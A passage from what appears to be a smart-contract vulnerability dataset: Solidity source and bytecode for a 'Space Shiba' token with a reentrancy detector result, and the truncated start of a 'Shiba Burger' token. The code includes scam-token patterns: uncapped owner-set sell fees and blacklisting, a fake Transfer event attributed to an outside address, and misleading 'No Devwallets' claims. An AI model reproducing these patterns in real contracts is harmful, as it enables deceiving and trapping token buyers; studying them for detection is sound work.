ownershipRenounced) public virtual onlyOwner { require(ownershipRenounced != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, ownershipRenounced); _owner = ownershipRenounced; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SpaceShiba is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Space Shiba"; string private constant _symbol = "SPACESHIB"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0; // uint256 private _taxFeeOnBuy = 0; // no buy tax //Sell Fee uint256 private _redisFeeOnSell = 0; // uint256 private _taxFeeOnSell = 5; // 5% sell tax //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xaaaa5656dd74A57B5C9265673116FB2ee8BBF906);///////////////////////////////////////////////// address payable private _marketingAddress = payable(0xaaaa5656dd74A57B5C9265673116FB2ee8BBF906);/////////////////////////////////////////////////// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 15000000000 * 10**9; // uint256 public _maxWalletSize = 15000000000 * 10**9; // uint256 public _swapTokensAtAmount = 10000000000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610525578063dd62ed3e14610545578063ea1644d51461058b578063f2fde38b146105ab57600080fd5b8063a2a957bb146104a0578063a9059cbb146104c0578063bfd79284146104e0578063c3c8cd801461051057600080fd5b80638f70ccf7116100d15780638f70ccf7146104185780638f9a55c01461043857806395d89b411461044e57806398a5c3151461048057600080fd5b806374010ece146103c45780637d1db4a5146103e45780638da5cb5b146103fa57600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461035a5780636fc3eaec1461037a57806370a082311461038f578063715018a6146103af57600080fd5b8063313ce567146102fe57806349bd5a5e1461031a5780636b9990531461033a57600080fd5b80631694505e116101a05780631694505e1461026957806318160ddd146102a157806323b872dd146102c85780632fd689e3146102e857600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023957600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611af5565b6105cb565b005b3480156101ff57600080fd5b5060408051808201909152600b81526a537061636520536869626160a81b60208201525b6040516102309190611c1f565b60405180910390f35b34801561024557600080fd5b50610259610254366004611a4b565b610678565b6040519015158152602001610230565b34801561027557600080fd5b50601454610289906001600160a01b031681565b6040516001600160a01b039091168152602001610230565b3480156102ad57600080fd5b5069152d02c7e14af68000005b604051908152602001610230565b3480156102d457600080fd5b506102596102e3366004611a0b565b61068f565b3480156102f457600080fd5b506102ba60185481565b34801561030a57600080fd5b5060405160098152602001610230565b34801561032657600080fd5b50601554610289906001600160a01b031681565b34801561034657600080fd5b506101f161035536600461199b565b6106f8565b34801561036657600080fd5b506101f1610375366004611bbc565b610743565b34801561038657600080fd5b506101f161078b565b34801561039b57600080fd5b506102ba6103aa36600461199b565b6107d6565b3480156103bb57600080fd5b506101f16107f8565b3480156103d057600080fd5b506101f16103df366004611bd6565b61086c565b3480156103f057600080fd5b506102ba60165481565b34801561040657600080fd5b506000546001600160a01b0316610289565b34801561042457600080fd5b506101f1610433366004611bbc565b61089b565b34801561044457600080fd5b506102ba60175481565b34801561045a57600080fd5b5060408051808201909152600981526829a820a1a2a9a424a160b91b6020820152610223565b34801561048c57600080fd5b506101f161049b366004611bd6565b6108e3565b3480156104ac57600080fd5b506101f16104bb366004611bee565b610912565b3480156104cc57600080fd5b506102596104db366004611a4b565b610950565b3480156104ec57600080fd5b506102596104fb36600461199b565b60106020526000908152604090205460ff1681565b34801561051c57600080fd5b506101f161095d565b34801561053157600080fd5b506101f1610540366004611a76565b6109b1565b34801561055157600080fd5b506102ba6105603660046119d3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059757600080fd5b506101f16105a6366004611bd6565b610a60565b3480156105b757600080fd5b506101f16105c636600461199b565b610a8f565b6000546001600160a01b031633146105fe5760405162461bcd60e51b81526004016105f590611c72565b60405180910390fd5b60005b81518110156106745760016010600084848151811061063057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066c81611d85565b915050610601565b5050565b6000610685338484610b79565b5060015b92915050565b600061069c848484610c9d565b6106ee84336106e985604051806060016040528060288152602001611de2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d9565b610b79565b5060019392505050565b6000546001600160a01b031633146107225760405162461bcd60e51b81526004016105f590611c72565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461076d5760405162461bcd60e51b81526004016105f590611c72565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107c057506013546001600160a01b0316336001600160a01b0316145b6107c957600080fd5b476107d381611213565b50565b6001600160a01b03811660009081526002602052604081205461068990611298565b6000546001600160a01b031633146108225760405162461bcd60e51b81526004016105f590611c72565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108965760405162461bcd60e51b81526004016105f590611c72565b601655565b6000546001600160a01b031633146108c55760405162461bcd60e51b81526004016105f590611c72565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461090d5760405162461bcd60e51b81526004016105f590611c72565b601855565b6000546001600160a01b0316331461093c5760405162461bcd60e51b81526004016105f590611c72565b600893909355600a91909155600955600b55565b6000610685338484610c9d565b6012546001600160a01b0316336001600160a01b0316148061099257506013546001600160a01b0316336001600160a01b0316145b61099b57600080fd5b60006109a6306107d6565b90506107d38161131c565b6000546001600160a01b031633146109db5760405162461bcd60e51b81526004016105f590611c72565b60005b82811015610a5a578160056000868685818110610a0b57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a20919061199b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5281611d85565b9150506109de565b50505050565b6000546001600160a01b03163314610a8a5760405162461bcd60e51b81526004016105f590611c72565b601755565b6000546001600160a01b03163314610ab95760405162461bcd60e51b81526004016105f590611c72565b6001600160a01b038116610b1e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bdb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f5565b6001600160a01b038216610c3c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f5565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d015760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f5565b6001600160a01b038216610d635760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f5565b60008111610dc55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f5565b6000546001600160a01b03848116911614801590610df157506000546001600160a01b03838116911614155b156110d257601554600160a01b900460ff16610e8a576000546001600160a01b03848116911614610e8a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f5565b601654811115610edc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f5565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1e57506001600160a01b03821660009081526010602052604090205460ff16155b610f765760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f5565b6015546001600160a01b03838116911614610ffb5760175481610f98846107d6565b610fa29190611d17565b10610ffb5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f5565b6000611006306107d6565b60185460165491925082101590821061101f5760165491505b8080156110365750601554600160a81b900460ff16155b801561105057506015546001600160a01b03868116911614155b80156110655750601554600160b01b900460ff165b801561108a57506001600160a01b03851660009081526005602052604090205460ff16155b80156110af57506001600160a01b03841660009081526005602052604090205460ff16155b156110cf576110bd8261131c565b4780156110cd576110cd47611213565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061111457506001600160a01b03831660009081526005602052604090205460ff165b8061114657506015546001600160a01b0385811691161480159061114657506015546001600160a01b03848116911614155b15611153575060006111cd565b6015546001600160a01b03858116911614801561117e57506014546001600160a01b03848116911614155b1561119057600854600c55600954600d555b6015546001600160a01b0384811691161480156111bb57506014546001600160a01b03858116911614155b156111cd57600a54600c55600b54600d555b610a5a848484846114c1565b600081848411156111fd5760405162461bcd60e51b81526004016105f59190611c1f565b50600061120a8486611d6e565b95945050505050565b6012546001600160a01b03166108fc61122d8360026114ef565b6040518115909202916000818181858888f19350505050158015611255573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112708360026114ef565b6040518115909202916000818181858888f19350505050158015610674573d6000803e3d6000fd5b60006006548211156112ff5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f5565b6000611309611531565b905061131583826114ef565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061137257634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113c657600080fd5b505afa1580156113da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113fe91906119b7565b8160018151811061141f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546114459130911684610b79565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061147e908590600090869030904290600401611ca7565b600060405180830381600087803b15801561149857600080fd5b505af11580156114ac573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114ce576114ce611554565b6114d9848484611582565b80610a5a57610a5a600e54600c55600f54600d55565b600061131583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611679565b600080600061153e6116a7565b909250905061154d82826114ef565b9250505090565b600c541580156115645750600d54155b1561156b57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611594876116eb565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115c69087611748565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115f5908661178a565b6001600160a01b038916600090815260026020526040902055611617816117e9565b6116218483611833565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166691815260200190565b60405180910390a3505050505050505050565b6000818361169a5760405162461bcd60e51b81526004016105f59190611c1f565b50600061120a8486611d2f565b600654600090819069152d02c7e14af68000006116c482826114ef565b8210156116e25750506006549269152d02c7e14af680000092509050565b90939092509050565b60008060008060008060008060006117088a600c54600d54611857565b9250925092506000611718611531565b9050600080600061172b8e8787876118ac565b919e509c509a509598509396509194505050505091939550919395565b600061131583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d9565b6000806117978385611d17565b9050838110156113155760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f5565b60006117f3611531565b9050600061180183836118fc565b3060009081526002602052604090205490915061181e908261178a565b30600090815260026020526040902055505050565b6006546118409083611748565b600655600754611850908261178a565b6007555050565b6000808080611871606461186b89896118fc565b906114ef565b90506000611884606461186b8a896118fc565b9050600061189c826118968b86611748565b90611748565b9992985090965090945050505050565b60008080806118bb88866118fc565b905060006118c988876118fc565b905060006118d788886118fc565b905060006118e9826118968686611748565b939b939a50919850919650505050505050565b60008261190b57506000610689565b60006119178385611d4f565b9050826119248583611d2f565b146113155760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f5565b803561198681611dcc565b919050565b8035801515811461198657600080fd5b6000602082840312156119ac578081fd5b813561131581611dcc565b6000602082840312156119c8578081fd5b815161131581611dcc565b600080604083850312156119e5578081fd5b82356119f081611dcc565b91506020830135611a0081611dcc565b809150509250929050565b600080600060608486031215611a1f578081fd5b8335611a2a81611dcc565b92506020840135611a3a81611dcc565b929592945050506040919091013590565b60008060408385031215611a5d578182fd5b8235611a6881611dcc565b946020939093013593505050565b600080600060408486031215611a8a578283fd5b833567ffffffffffffffff80821115611aa1578485fd5b818601915086601f830112611ab4578485fd5b813581811115611ac2578586fd5b8760208260051b8501011115611ad6578586fd5b602092830195509350611aec918601905061198b565b90509250925092565b60006020808385031215611b07578182fd5b823567ffffffffffffffff80821115611b1e578384fd5b818501915085601f830112611b31578384fd5b813581811115611b4357611b43611db6565b8060051b604051601f19603f83011681018181108582111715611b6857611b68611db6565b604052828152858101935084860182860187018a1015611b86578788fd5b8795505b83861015611baf57611b9b8161197b565b855260019590950194938601938601611b8a565b5098975050505050505050565b600060208284031215611bcd578081fd5b6113158261198b565b600060208284031215611be7578081fd5b5035919050565b60008060008060808587031215611c03578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c4b57858101830151858201604001528201611c2f565b81811115611c5c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cf65784516001600160a01b031683529383019391830191600101611cd1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d2a57611d2a611da0565b500190565b600082611d4a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d6957611d69611da0565b500290565b600082821015611d8057611d80611da0565b500390565b6000600019821415611d9957611d99611da0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107d357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207b8f512b8237c2dec6034ac9f8224d5b74addcb8f9a3518e97fb73fc39e2147e64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,424
0x85559c33ad5c4366b732aeaa53565948a824f46a
/** *Submitted for verification at Etherscan.io on 2021-06-03 */ /* t.me/shurger Shiba Burger $SHURGER _ | | ___| |__ _ _ _ __ __ _ ___ _ __ / __| '_ \| | | | '__/ _` |/ _ \ '__| \__ \ | | | |_| | | | (_| | __/ | |___/_| |_|\__,_|_| \__, |\___|_| __/ | |___/ //shibaburger.net // Twitter: @itsshibaburger // Reddit: https://www.reddit.com/r/ShibaBurger/ // Instagram: @shibaburger //Marketing paid //Liqudity Locked //Ownership renounced //No Devwallets //CG, CMC listing: Ongoing SPDX-License-Identifier: Mines™®© */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHURGER is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Shiba Burger"; string private constant _symbol = unicode'SHURGER 🍔'; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function 